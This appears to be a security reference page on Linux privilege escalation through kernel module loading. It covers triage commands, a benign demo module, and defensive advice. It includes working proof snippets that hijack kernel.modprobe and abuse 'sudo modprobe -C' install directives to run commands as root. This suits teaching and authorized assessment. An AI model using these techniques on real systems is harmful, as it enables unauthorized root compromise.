Kernel Modules and modprobe Abuse
Kernel module and module-loading misconfigurations
Kernel module support is a high-impact area during Linux privilege escalation review. Do not treat every unsigned-module message as exploitable by itself, but use it to answer practical questions.[1][2][3][8][9][10]
- Can the current user load modules through
sudo, capabilities, or a writable helper path? - Is module loading still enabled?
- Is module signature enforcement disabled?
- Are module directories, module files, or
modprobe.dconfiguration paths writable?[16] - Can kernel logs be read to confirm what happened?
Quick triage starts with the following module-status, signature, logging, and module-tree checks.[1][2][6][8]
uname -a
uname -r
cat /proc/sys/kernel/modules_disabled 2>/dev/null
grep -Eo '(^| )module\.sig_enforce(=[^ ]*)?' /proc/cmdline 2>/dev/null
grep -E '^(CONFIG_STATIC_USERMODEHELPER|CONFIG_STATIC_USERMODEHELPER_PATH)=' "/boot/config-$(uname -r)" 2>/dev/null
grep -E '^(CONFIG_MODULE_SIG|CONFIG_MODULE_SIG_FORCE)=' "/boot/config-$(uname -r)" 2>/dev/null
cat /proc/sys/kernel/dmesg_restrict 2>/dev/null
dmesg 2>/dev/null | grep -Ei 'module|signature|taint|verification'
find /lib/modules/$(uname -r) -type d -writable -ls 2>/dev/null
find /lib/modules/$(uname -r) -type f -name '*.ko*' -writable -ls 2>/dev/null
Interpretation:
modules_disabled=1means modules can be neither loaded nor unloaded, and the value cannot be reset to0until reboot.[1]module.sig_enforce=1on the kernel command line orCONFIG_MODULE_SIG_FORCE=yrequires validly signed modules; otherwise, unsigned modules may load and taint the kernel.[2]dmesg_restrict=0imposes no restriction ondmesg; when it is1, access requiresCAP_SYSLOG.[1]- Writable paths under
/lib/modules/$(uname -r)/are dangerous becausemodprobesearches that tree and its dependency data when loading modules.[8]
Loading a module and reading kernel output
If you have legitimate permission to load a local module, insmod inserts the exact .ko file you provide. The module’s init function runs as part of the load, and messages written with printk() go to the kernel log buffer, which is normally read with dmesg.[3][4][5][6]
A minimal review workflow uses modinfo to inspect metadata, insmod and rmmod to load and remove a module, lsmod to confirm loaded state, and dmesg to inspect kernel logs.[4][6][12][13][14]
ls -l ./example.ko
modinfo ./example.ko 2>/dev/null
sudo insmod ./example.ko
lsmod | grep -i example
dmesg | tail -n 30
sudo rmmod example
dmesg | tail -n 30
If sudo -l allows insmod, modprobe, or a wrapper around them, treat it as critical: sudo -l lists the invoking user’s privileges, and loading a kernel module requires CAP_SYS_MODULE. See Linux capabilities for direct capability-based paths.[3][9][10]
sudo -l
sudo /sbin/insmod ./example.ko
Sudo-allowed insmod
A sudo rule that allows a user to run insmod is not comparable to allowing a normal administrative helper. The module’s initialization code runs as part of insertion, so the practical review question is whether this user can choose or modify the module being loaded.[3]
The following generic review flow repeats those inspection, load, state, log, and removal checks for a candidate module.[4][6][12][13][14]
sudo -l
ls -l ./candidate.ko
modinfo ./candidate.ko 2>/dev/null
sudo /sbin/insmod ./candidate.ko
lsmod | grep -i candidate
dmesg | tail -n 30
sudo /sbin/rmmod candidate
If the user can provide an arbitrary .ko, the rule should be treated as full system compromise in an authorized assessment. A safer operational pattern is to avoid delegating module loading through sudo; if it is unavoidable, restrict the exact path, ownership, permissions, signing policy, and removal workflow.[3][10]
For a harmless module-building pattern in a controlled lab, a minimal source and Makefile are shown below; the make -C /lib/modules/$(uname -r)/build M=$PWD form follows the kernel’s documented kbuild workflow for external modules.[5][7]
#include <linux/module.h>
#include <linux/kernel.h>
static int __init demo_init(void) {
printk(KERN_INFO "demo module loaded\n");
return 0;
}
static void __exit demo_exit(void) {
printk(KERN_INFO "demo module unloaded\n");
}
module_init(demo_init);
module_exit(demo_exit);
MODULE_LICENSE("GPL");
obj-m += demo.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Build and load only in an authorized lab; kbuild builds the external module and the load/remove commands invoke the kernel module interfaces.[3][4][5][7]
make
sudo insmod demo.ko
dmesg | tail -n 20
sudo rmmod demo
kernel.modprobe / modprobe_path abuse checks
kernel.modprobe names the userspace helper the kernel executes for module autoload requests; this sysctl affects autoloading, not explicit module insertion. If an attacker can change it to a writable executable path and trigger a module request, that helper becomes a privileged code-execution path. Setting it to the empty string disables autoload requests; if CONFIG_STATIC_USERMODEHELPER=y, a non-empty value is overridden by the compiled-in static helper path.[1]
Check the current helper path through the kernel sysctl interface and inspect the target’s ownership and mode.[1]
cat /proc/sys/kernel/modprobe 2>/dev/null
sysctl kernel.modprobe 2>/dev/null
ls -l "$(cat /proc/sys/kernel/modprobe 2>/dev/null)" 2>/dev/null
Check whether the sysctl, delegated sudo rules, or file capabilities can be influenced.[1][9][10][15]
ls -l /proc/sys/kernel/modprobe
sudo -l | grep -E 'sysctl|tee|bash|sh|modprobe'
getcap -r / 2>/dev/null | grep -E 'cap_sys_admin|cap_sys_module'
The following lab-only pattern changes the helper path and triggers a documented module-autoload request; use it only on an isolated, authorized system.[1]
On current Linux kernels, do not use an unknown executable as a generic trigger: legacy custom binary-format module autoloading was removed in Linux 6.14, while the kernel documentation identifies an unknown filesystem type as a module-autoload request path.[1][11]
# Example only: requires permission to write kernel.modprobe
printf '#!/bin/sh\nid > /tmp/modprobe-helper-ran\n' > /tmp/helper
chmod +x /tmp/helper
echo /tmp/helper | sudo tee /proc/sys/kernel/modprobe
# Trigger a documented module-autoload request (requires mount privilege)
sudo mount -t definitely-not-a-filesystem none /mnt 2>/dev/null || true
cat /tmp/modprobe-helper-ran 2>/dev/null
On hardened systems, this should fail when permissions prevent unprivileged writes to kernel.modprobe, the helper path is not writable, or module autoloading is disabled.[1]
Writable modprobe.d configuration and sudo modprobe -C
Before resolving a module, modprobe reads .conf files from configuration directories such as /etc/modprobe.d, /run/modprobe.d, /usr/local/lib/modprobe.d, /usr/lib/modprobe.d, and /lib/modprobe.d, in precedence order. A same-named file in a higher-priority directory shadows the lower-priority file. More importantly, an install <module> <command> directive runs an arbitrary shell command instead of inserting that module. Therefore, a writable configuration path can become delayed command execution under the credentials of a later privileged modprobe caller; kernel module signature enforcement does not authenticate this userspace command.[16]
Audit directory and file permissions, then inspect the effective configuration. modprobe -n -v is safe for resolution review because dry-run mode neither inserts the module nor executes an install/remove command. Prefer modprobe -c over the legacy --showconfig spelling, which current kmod documentation marks for removal after kmod 36.[8][16]
for d in /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d /usr/lib/modprobe.d /lib/modprobe.d; do
[ -e "$d" ] || continue
find "$d" -maxdepth 1 -writable -ls 2>/dev/null
done
grep -RHE '^[[:space:]]*(install|remove|alias|blacklist)[[:space:]]' \
/etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d \
/usr/lib/modprobe.d /lib/modprobe.d 2>/dev/null
modprobe -c 2>/dev/null | grep -E '^(install|remove|alias|blacklist)[[:space:]]'
modprobe -n -v <module_name>
An unrestricted sudo rule for modprobe is exploitable even when arbitrary .ko files cannot pass signature verification: -C selects an attacker-controlled configuration directory, from which an install command can be executed by the sudo-launched process.[8][16]
# Authorized lab proof for an unrestricted `sudo modprobe` rule
D="$(mktemp -d)"
printf '%s\n' 'install ht_probe /bin/sh -c "id > /tmp/ht-modprobe-id"' > "$D/00-ht.conf"
sudo /sbin/modprobe -C "$D" ht_probe
cat /tmp/ht-modprobe-id
For mitigation, do not grant argument-unrestricted modprobe through sudo, keep every configuration directory root-owned and non-writable, and review unexpected install/remove directives. When a trusted administrative workflow must bypass such directives for one module, modprobe --ignore-install ignores them for that named module, but dependencies can still have their own commands.[8][16]
Writable /lib/modules review
Writable module directories can allow module replacement, malicious module planting, or auto-load abuse depending on how modprobe is later invoked; modprobe searches /lib/modules/$(uname -r) and uses its dependency data when resolving modules.[8]
Review writable module files and dependency/alias metadata under the active kernel release’s module tree.[8]
KREL="$(uname -r)"
find "/lib/modules/$KREL" -type d -writable -ls 2>/dev/null
find "/lib/modules/$KREL" -type f -name '*.ko*' -writable -ls 2>/dev/null
find "/lib/modules/$KREL" -type f \( -name 'modules.dep' -o -name 'modules.alias' -o -name 'modules.order' \) -writable -ls 2>/dev/null
If you find writable module content, inspect how modprobe resolves dependencies and how modinfo reports module metadata.[8][12]
modprobe --show-depends <module_name> 2>/dev/null
modinfo <module_name> 2>/dev/null
grep -R "<module_name>" /lib/modules/$(uname -r)/modules.* 2>/dev/null
Defensive notes:
- Keep
/lib/modulesowned byroot:rootand non-writable by users.[8] - Set
kernel.modules_disabled=1after boot where operationally possible.[1] - Enforce module signing on systems that require loadable modules.[2]
- Monitor writes to
/proc/sys/kernel/modprobe,/lib/modules, and themodprobe.dconfiguration directories, plus unexpectedinsmod/modprobeexecution.[1][8][16]
References
- [1] Documentation for /proc/sys/kernel/ — The Linux Kernel documentation
- [2] Kernel module signing facility — The Linux Kernel documentation
- [3] init_module(2) — Linux manual page
- [4] insmod(8) — Linux manual page
- [5] Driver Basics — The Linux Kernel documentation
- [6] Message logging with printk — The Linux Kernel documentation
- [7] Building External Modules — The Linux Kernel documentation
- [8] modprobe(8) — Linux manual page
- [9] sudo(8) — Linux manual page
- [10] capabilities(7) — Linux manual page
- [11] Merge tag ‘execve-v6.14-rc1’ — torvalds/linux
- [12] modinfo(8) — Linux manual page
- [13] lsmod(8) — Linux manual page
- [14] rmmod(8) — Linux manual page
- [15] getcap(8) — Linux manual page
- [16] modprobe.d(5) — Linux manual page